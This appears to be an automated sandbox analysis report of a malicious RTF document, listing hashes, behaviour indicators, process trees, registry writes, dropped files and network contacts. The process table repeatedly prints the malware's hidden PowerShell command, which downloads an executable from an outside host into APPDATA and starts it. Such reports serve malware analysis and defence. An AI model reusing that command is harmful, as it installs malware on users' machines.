| File name: | f48915728045ced5b165fe6af946d82a88c03446281175e7de64a6214eea84ff.doc |
| Full analysis: | https://app.any.run/tasks/8d8b945e-99f0-4466-841a-67e8d43c532a |
| Verdict: | Malicious activity |
| Analysis date: | March 14, 2019, 06:55:47 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/rtf |
| File info: | Rich Text Format data, version 1, unknown character set |
| MD5: | 72630A05A8F1C7192778D65407CD8B65 |
| SHA1: | 9FFC130178ED5035E4C0EEA00B53697DBF0217AF |
| SHA256: | F48915728045CED5B165FE6AF946D82A88C03446281175E7DE64A6214EEA84FF |
| SSDEEP: | 3072:oHGEMV5tEMV5tEMV5tEMV5tEMV5aID4SmHS:VE8tE8tE8tE8tE8aID4S+S |
MALICIOUS
Executes PowerShell scripts
- EXCEL.EXE (PID: 2264)
- EXCEL.EXE (PID: 3624)
- EXCEL.EXE (PID: 2560)
- EXCEL.EXE (PID: 3256)
- EXCEL.EXE (PID: 3980)
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 2264)
- EXCEL.EXE (PID: 3624)
- EXCEL.EXE (PID: 2560)
- EXCEL.EXE (PID: 3256)
- EXCEL.EXE (PID: 3980)
Application was dropped or rewritten from another process
- vbb326.exe (PID: 2352)
- vbb326.exe (PID: 2192)
- vbb326.exe (PID: 2828)
- vbb326.exe (PID: 3092)
- vbb326.exe (PID: 2968)
- filename.exe (PID: 2244)
- filename.exe (PID: 4084)
- filename.exe (PID: 3168)
- filename.exe (PID: 3356)
Changes the autorun value in the registry
- WScript.exe (PID: 2620)
- WScript.exe (PID: 1748)
- WScript.exe (PID: 3048)
- WScript.exe (PID: 1156)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 2172)
- powershell.exe (PID: 2108)
- powershell.exe (PID: 2464)
- powershell.exe (PID: 3360)
- powershell.exe (PID: 2644)
Executable content was dropped or overwritten
- powershell.exe (PID: 2172)
- vbb326.exe (PID: 2352)
Executes scripts
- vbb326.exe (PID: 2192)
- vbb326.exe (PID: 2352)
- vbb326.exe (PID: 3092)
- vbb326.exe (PID: 2828)
Starts itself from another location
- vbb326.exe (PID: 2352)
- vbb326.exe (PID: 2828)
- vbb326.exe (PID: 3092)
- vbb326.exe (PID: 2192)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 3456)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 3456)
- EXCEL.EXE (PID: 2264)
- EXCEL.EXE (PID: 3624)
- EXCEL.EXE (PID: 2560)
- EXCEL.EXE (PID: 3256)
- EXCEL.EXE (PID: 3980)
- excelcnv.exe (PID: 3692)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rtf | | | Rich Text Format (100) |
|---|
EXIF
RTF
| Author: | Admin |
|---|---|
| LastModifiedBy: | Admin |
| CreateDate: | 2019:01:07 23:54:00 |
| ModifyDate: | 2019:01:07 23:54:00 |
| RevisionNumber: | 1 |
| TotalEditTime: | - |
| Pages: | 1 |
| Words: | - |
| Characters: | 4 |
| CharactersWithSpaces: | 4 |
| InternalVersionNumber: | 57435 |
Total processes
61
Monitored processes
25
Malicious processes
8
Suspicious processes
5
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1156 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\subfolder\filename.vbs" | C:\Windows\System32\WScript.exe | vbb326.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 1748 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\subfolder\filename.vbs" | C:\Windows\System32\WScript.exe | vbb326.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2108 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile $ta5fa71 = $env:APPDATA; $fc5b4fe = $ta5fa71 + '\\vbb326.exe'; If (test-path $fc5b4fe) {Remove-Item $fc5b4fe}; $q81b38 = New-Object System.Net.WebClient; $q81b38.Headers['User-Agent'] = 'q81b38'; $q81b38.DownloadFile('https://karenyauphotography.com/website/wp-content/upgrade/RFQ2018.exe', $fc5b4fe); Start-Process -Filepath $fc5b4fe; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | EXCEL.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2172 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile $ta5fa71 = $env:APPDATA; $fc5b4fe = $ta5fa71 + '\\vbb326.exe'; If (test-path $fc5b4fe) {Remove-Item $fc5b4fe}; $q81b38 = New-Object System.Net.WebClient; $q81b38.Headers['User-Agent'] = 'q81b38'; $q81b38.DownloadFile('https://karenyauphotography.com/website/wp-content/upgrade/RFQ2018.exe', $fc5b4fe); Start-Process -Filepath $fc5b4fe; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | EXCEL.EXE | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2192 | "C:\Users\admin\AppData\Roaming\vbb326.exe" | C:\Users\admin\AppData\Roaming\vbb326.exe | — | powershell.exe | |||||||||||
User: admin Company: MAPES4 Integrity Level: MEDIUM Description: ORNERIER10 Exit code: 0 Version: 2.09.0009 Modules
| |||||||||||||||
| 2244 | "C:\Users\admin\AppData\Local\Temp\subfolder\filename.exe" | C:\Users\admin\AppData\Local\Temp\subfolder\filename.exe | — | vbb326.exe | |||||||||||
User: admin Company: MAPES4 Integrity Level: MEDIUM Description: ORNERIER10 Exit code: 0 Version: 2.09.0009 Modules
| |||||||||||||||
| 2264 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2352 | "C:\Users\admin\AppData\Roaming\vbb326.exe" | C:\Users\admin\AppData\Roaming\vbb326.exe | powershell.exe | ||||||||||||
User: admin Company: MAPES4 Integrity Level: MEDIUM Description: ORNERIER10 Exit code: 0 Version: 2.09.0009 Modules
| |||||||||||||||
| 2464 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile $ta5fa71 = $env:APPDATA; $fc5b4fe = $ta5fa71 + '\\vbb326.exe'; If (test-path $fc5b4fe) {Remove-Item $fc5b4fe}; $q81b38 = New-Object System.Net.WebClient; $q81b38.Headers['User-Agent'] = 'q81b38'; $q81b38.DownloadFile('https://karenyauphotography.com/website/wp-content/upgrade/RFQ2018.exe', $fc5b4fe); Start-Process -Filepath $fc5b4fe; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | EXCEL.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2560 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
Total events
6 687
Read events
5 896
Write events
762
Delete events
29
Modification events
| (PID) Process: | (3456) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | |*' |
Value: 7C2A2700800D0000010000000000000000000000 | |||
| (PID) Process: | (3456) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (3456) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (3456) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1315831838 | |||
| (PID) Process: | (3456) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1315831952 | |||
| (PID) Process: | (3456) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1315831953 | |||
| (PID) Process: | (3456) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 800D00001009A60233DAD40100000000 | |||
| (PID) Process: | (3456) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | c+' |
Value: 632B2700800D000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3456) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | c+' |
Value: 632B2700800D000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3456) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
2
Suspicious files
14
Text files
5
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3456 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR867C.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2264 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR905F.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2172 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WKV1JENWJB2EI4WFELSW.temp | — | |
MD5:— | SHA256:— | |||
| 3624 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRABA7.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2108 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZFPCYGWQQ4IO9QZ7213Q.temp | — | |
MD5:— | SHA256:— | |||
| 2560 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRB8B7.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2464 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4EADL2G2FP2ADAVBH0R0.temp | — | |
MD5:— | SHA256:— | |||
| 3256 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRC990.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2644 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2EWANWFGG4DUWXRCSZI0.temp | — | |
MD5:— | SHA256:— | |||
| 3980 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR1DF9.tmp.cvr | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2172 | powershell.exe | 69.195.124.102:443 | karenyauphotography.com | Unified Layer | US | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
karenyauphotography.com |
| unknown |